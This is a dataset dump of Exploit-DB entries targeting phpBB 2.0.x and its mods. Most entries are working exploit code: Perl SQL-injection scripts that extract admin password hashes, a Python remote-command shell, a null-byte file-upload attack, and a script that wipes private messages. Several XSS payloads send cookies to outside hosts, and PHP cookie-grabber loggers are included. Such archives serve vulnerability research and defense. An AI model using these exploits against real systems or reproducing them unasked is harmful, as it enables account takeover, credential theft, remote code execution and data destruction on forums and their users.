deardaniel/secdata-raw huggingface dataset:
Exploit-DB #907
Description: phpBB 2.0.13 - 'downloads.php' mod Get Hash
Type: webapps
Platform: php
Date: 2005-04-02
Author: CereBrums

Exploit:
#!/usr/bin/perl -w
use IO::Socket;

##    Example:
##    C:\>phpbb.pl www.site.com /phpBB2/ 2
##
##     downloads.php mod in phpBB <= 2.0.13
##     **********************************
##      [~] Connecting...
##      [+] Connected!
##      [~] Sending Data...
##      [~] Data Sent, Waiting for response...
##      [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055
##
if (@ARGV < 3)
{
print "\n\n";
print "|****************************************************************|\n";
print " phpBB <=2.0.13 'downloads.php' Mod\n";
print " Bug found by Axl And CereBrums\n";
print " Coded by CereBrums // 2/4/2005\n";
print " Usage: phpbb.pl <site> <folder> <user_id>\n";
print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n";
print " [~] <server> - site address\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$take = 0;
$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
print "\n downloads.php mod in phpBB <= 2.0.13\n";
print " **********************************\n";
print "  [~] Connecting...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";

print "  [+] Connected\n";
print "  [~] Sending Data...\n";

$path = "http://$server/";
$path .= "/$folder/";
$path .= "downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=$user_id/*";
print $socket "GET $path HTTP/1.0\r\n\r\n";

print "  [~] Data Sent, Waiting for response...\n";

while ($answer = <$socket>)
{
       if ($take == 1) {
               $pass = substr($answer,51,32);
               print "  [+] MD5 Hash for user with id=$user_id is: $pass\n";
               $success = 1;
               $take = 0;
       }
       $found = rindex ($answer,"downloads.php?view=detail&id=0&cat=0");
       if ( $found > -1 ) {
               $take = 1;
       }
}
if ($success==0) {print "  [-] Exploit failed\n";}

## EOF ##

# milw0rm.com [2005-04-02]
Exploit-DB #25344
Description: phpBB 2.0.13 DLMan Pro Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-04-06
Author: LovER BOY

Exploit:
source: https://www.securityfocus.com/bid/13028/info

The DLMan Pro mod for phpBB is reportedly affected by an SQL Injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[phpBB]/dlman.php?func=file_info&file_id='[SQL Injection]
Exploit-DB #25345
Description: phpBB 2.0.13 Linkz Pro Module - SQL Injection
Type: webapps
Platform: php
Date: 2005-04-06
Author: LovER BOY

Exploit:
source: https://www.securityfocus.com/bid/13030/info

The Linkz Pro mod for phpBB is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[phpBB]/links.php?func=show&id='[SQL Injection]
Exploit-DB #1076
Description: phpBB 2.0.15 - 'highlight' PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2005-06-29
Author: rattle

Exploit:
# tested and working /str0ke

#!/usr/bin/pyth0n
#
###############################################################  this exploit for
                                                              #  phpBB 2.0.15 
print "\nphpBB 2.0.15 arbitrary command execution eXploit"    #  emulates a shell,
print " 2005 by rattle@awarenetwork.org"                      #  rather than 
print " well, just because there is none."                    #  sending a single
                                                              #  command.
import sys                                                 ####
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG  = '</g0>'

def makecmd(cmd):
    return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))


_ex  = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"


def usage():
    print """Usage: %s <forum> <topic>
 
    forum - fully qualified url to the forum
            example: http://www.host.com/phpBB/

    topic - ID of an existing topic. Well you 
            will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)


if __name__ == '__main__':

    if len(sys.argv) < 3 or not sys.argv[2].isdigit():
        usage()
    else:
        print
        url = sys.argv[1]
        if url.count("://") == 0: 
            url = "http://" + url
        url = list(urlparse(url))
        host = url[1]
        if not host: usage()

        if not url[0]: url[0] = 'http'
        if not url[2]: url[2] = '/'
        url[3] = url[4] = url[5] = ''

        url = urlunparse(url)
	if url[-1] != '/': url += '/'

        topic = quote_plus((sys.argv[2]))

        while 1:

            try:
                cmd = raw_input("[%s]$ " % host).strip()
                if cmd[-1]==';': cmd=cmd[:-1]

                if (cmd == "exit"): break
                else: cmd = makecmd(cmd)
		
		out = _ex % (url,topic,cmd)

                try: ret = urlopen(Request(out)).read()
                except KeyboardInterrupt: continue
                except: pass

                else:
                    ret = ret.split(INITTAG,1)
                    if len(ret)>1: ret = ret[1].split(ENDTAG,1)
                    if len(ret)>1:
                        ret = ret[0].strip();
                        if ret: print ret
                        continue;

                print "EXPLOIT FAILED"

            except:
                continue

# milw0rm.com [2005-06-29]
Exploit-DB #1095
Description: phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure
Type: webapps
Platform: php
Date: 2005-07-08
Author: D|ablo

Exploit:
/*
1) Change milw0rm.com to your domain.com
2) Post the below code into a new message.

Example Output:
***.**.***.*** - - [09/Jul/2005:03:09:13 -0500] 
"GET /cgi-bin/shell.jpg?phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%223%22%3B%7D;%20phpbb2mysql_sid=898eeaa6ea3c9848a60121d3450a1287;%20phpbb2mysql_t=a%3A1%3A%7Bi%3A3%3Bi%3A[PII_REDACTED]%3B%7D HTTP/1.1" 404 305 "http://tester/phpBB2/viewtopic.php?t=3"

/str0ke
*/


******************************************************************************************************
*					CCTEAM PhpBB 2.0.16 XSS EXPLOIT                              *
*                                           Powered by D|ablo CCTEAM                                 *
******************************************************************************************************
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.milw0rm.com/cgi-bin/shell.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

******************************************************************************************************
*				               http://ccteam.ru/                                     *
*                                             http://defacers.ru/                                    *
******************************************************************************************************

# milw0rm.com [2005-07-08]
Exploit-DB #1103
Description: phpBB 2.0.16 - Cross-Site Scripting Remote Cookie Disclosure (Cookie Grabber)
Type: webapps
Platform: php
Date: 2005-07-13
Author: Sjaak Rake

Exploit:
// Original Author: 'Sjaak Rake' Ref: http://www.hackthissite.org/articles/read/175/

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>

//rename it to cookies.php and create one new file steal.php and chmod it to 777

# milw0rm.com [2005-07-13]
Exploit-DB #1383
Description: phpBB 2.0.18 - Cross-Site Scripting / Cookie Disclosure
Type: webapps
Platform: php
Date: 2005-12-21
Author: jet

Exploit:
/******************************************************************

phpBB <= 2.0.18 XSS Cookie Disclosure Proof of Concept
	-- 'the html is on exploit'

original exploit by:  (cXIb8O3) - 12/16/2005
proof of concept by: jet
	-- http://jet.carbon-4.net/
	
		develop a pure, lucid mind, not 
		depending upon sound, flavor,
		touch, odor, or any quality.
				- the diamond sutra

******************************************************************/

phpbb code:

<B C=">" ''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://www.url.com/cookie/c.php?c='+document.cookie;this.sss=null`style='font-size:0; X="<B ">'</B>

c.php:

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("m/d/Y g:i:s a");
 $referer=getenv ('HTTP_REFERER');
 $fl = fopen('log.txt', 'a');
 fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
 fclose($fl);
?>

# milw0rm.com [2005-12-21]
Exploit-DB #1457
Description: phpBB 2.0.19 - Cross-Site Scripting Remote Cookie Disclosure
Type: webapps
Platform: php
Date: 2006-01-29
Author: threesixthousan

Exploit:
# to be used with cookie stealer located here: http://www.milw0rm.com/id.php?id=1103 (https://www.exploit-db.com/exploits/1103/)
# Make sure you change www.milw0rm.com to your domain. thnx. /str0ke
# Author: threesixthousan 

/*
As long as html is ON in the latest version of phpBB forums, 
several XSS attack vectors are possible. phpBB incorrectly 
filters in both messages and profiles, making cookie stealing, 
and other XSS attacks possible. the exploit leads to arbitary 
javascript execution, which in turn can lead to html defacement.

use of the <pre> tag means that the cursor must pass it in the y 
direction only. e.g. the mouse only needs to cross a point 
horrizontaly equal to the link in order for the javascript to be executed.

the following is a simple attack:
*/

<pre a='>' onmouseover='document.location="http://www.milw0rm.com/cookie_stealer.php?c="+document.cookie' b='<pre' >

[url]http://www.somesite.com/[/url]</pre>

# milw0rm.com [2006-01-29]
Exploit-DB #1469
Description: phpBB 2.0.19 - Style Changer/Demo Mod SQL Injection
Type: webapps
Platform: php
Date: 2006-02-05
Author: SkOd

Exploit:
#!/usr/bin/perl
#########################################################
#		 _______ _______ ______ 		#
#		 |______ |______ |     \		#
#		 ______| |______ |_____/		#
#		                        		#
#phpBB Style Changer/Demo Mod-->GET HASH EXPLOIT	#
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered by phpBB" inurl:"index.php?s" OR inurl:"index.php?style"
#########################################################
use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#   phpBB Style Changer\Viewer MOD SQL injection Exploit   #
#		Tested on phpBB 2.0.19			   #
#	    created By SkOd. SED Security Team             #
############################################################
	bbstyle.pl [HOST] [PATH] [Target id]
	 bbstyle.pl www.host.com /phpbb2/ 2
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];
print "[+]Make Connection\n";
$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
while ($hash = <$socket>){
$hash =~ m/open(.*?)template/ && print "[+]User id: $id\n[+]Md5 Hash: $1\n";
}

# milw0rm.com [2006-02-05]
Exploit-DB #27863
Description: phpBB 2.0.20 - Unauthorized HTTP Proxy
Type: webapps
Platform: php
Date: 2006-05-12
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/17965/info

phpBB is prone to a vulnerability that could permit the application to become an unauthorized HTTP proxy.

An attacker can exploit this issue to manipulate phpBB into becoming an HTTP proxy.

http://www.example.com/somescript.php?cmd=ls%20-la&xpl=http://www.example2.com/someshell.txt
Exploit-DB #29442
Description: phpBB 2.0.21 - 'privmsg.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-01-11
Author: Demential

Exploit:
source: https://www.securityfocus.com/bid/22001/info

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "&lt;/textarea&gt;<script>document.location= 'http://site.com/cookie.php?c=' + document.cookie </script>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");

Put it into a web page:

<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://www.example.com/exploit.swf" frameborder="0" height="0" width="0"></iframe>
</body>
</html>
Exploit-DB #2348
Description: phpBB 2.0.21 - Poison Null Byte Remote File Upload
Type: webapps
Platform: php
Date: 2006-09-11
Author: ShAnKaR

Exploit:
#!/usr/bin/perl -w
# Author: ShAnKaR
# Title: multiple PHP application poison NULL byte vulnerability
# Applications: phpBB 2.0.21, punBB 1.2.12
# Threat Level: Critical
# Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html
# 
# Poison  NULL  byte vulnerability for perl CGI applications was described
# in  [1].  ShAnKaR  noted, that same vulnerability also affects different
# PHP  applications.  An  example of vulnerable applications are phpBB and
# punBB.
# 
# Vulnerability  can  be  used  to  upload  or  replace arbitrary files on
# server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename.
# 
# In  case  of  phpBB and punBB vulnerability can be exploited by changing
# location  of avatar file and uploading avatar file with PHP code in EXIF
# data.
# 
# A PoC exploit to change Avatar file location for phpBB:
# 
# 

use HTTP::Cookies;
use LWP;
use URI::Escape;
unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"}
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)');
$ua->cookie_jar( HTTP::Cookies->new());

$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1";
my $req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
my $res = $ua->request($req);

$res=$ua->get('http://'.$ARGV[0].'/login.php');
$content=$res->content;
$content=~ m/true&sid=([^"]+)"/g;
if($ARGV[4]){
$content=$res->content;
print $content;
}
$url='http://'.$ARGV[0].'/login.php';
$data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);

$url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1;
$data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00";
$req = new HTTP::Request 'POST',$url;
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
if($ARGV[4]){
$content=$res->content;
print $content;
}

# milw0rm.com [2006-09-11]
Exploit-DB #22182
Description: phpBB 2.0.3 - 'privmsg.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-01-17
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/6634/info

A SQL injection vulnerability has been reported for phpBB2 systems that may result in the deletion of all private messages.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries to execute on the underlying database. As a result, it is possible to manipulate SQL queries. This may allow a remote attacker to modify query logic or potentially corrupt the database. 

A remote attacker can exploit this vulnerability by manipulating URI parameters to cause the text of all private messages to be deleted.

#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
        "Host: $host$crlf".
        "User-Agent: Mozzarella/1.37++$crlf".
        "Referer: http://www.phpbb.com/$crlf".
        "Connection: close$crlf".
        "Content-Type: application/x-www-form-urlencoded$crlf".
        "Content-Length: 58$crlf$crlf".
        "mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";

$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);

socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";

select SOK; $| = 1; select STDOUT;

print SOK $http;

$junk = '';
while (<SOK>) { $junk .= $_; }

close SOK or die "Couldn't close!\n";
Exploit-DB #22065
Description: phpBB 2.0.3 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-12-03
Author: f_a_a

Exploit:
source: https://www.securityfocus.com/bid/6311/info

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>
Exploit-DB #22043
Description: phpBB 2.0.3 - Script Injection
Type: webapps
Platform: php
Date: 2002-11-25
Author: Pete Foster

Exploit:
source: https://www.securityfocus.com/bid/6248/info

phpBB does not properly sanitize user input in forum postings. This could allow a malicious user to inject script code into a forum post which would in turn be executed when the page is viewed by other users.

Script code would be executed in the security context of the phpBB site.

Supplied script code may access authentication credentials, or take actions as an authenticated user.

<b onMouseOver="alert(document.location);">This piece of text could be
dangerous if you were to move your mouse over it!</b>

<i onClick="alert(document.location);">This piece of text could be dangerous
if you were to click it!</i>

<u onClick="alert('Hello');">This piece of text could be dangerous if you
were to click it!</u>
Exploit-DB #23475
Description: phpBB 2.0.6 - 'privmsg.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2003-12-23
Author: Ben Drysdale

Exploit:
source: https://www.securityfocus.com/bid/9290/info

phpBB is prone to a cross-site scripting vulnerability in the 'privmsg.php' script. The source of the problem is that HTML and script code are not adequately sanitized from input supplied via URI parameters. This input will be included in dynamically generated web pages. A remote attacker could exploit this issue by embedding hostile HTML and script code in a malicious link to the vulnerable script. The attacker-supplied code will be interpreted in the context of the site hosting the vulnerable software. 

http://www.example.com/forums/privmsg.php?mode=""><script>alert(document.cookie);</scrip
t>post&u=2

William Heatley has supplied the following proof of concept:
http://www.example.com/phpBB/privmsg.php?mode=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%3C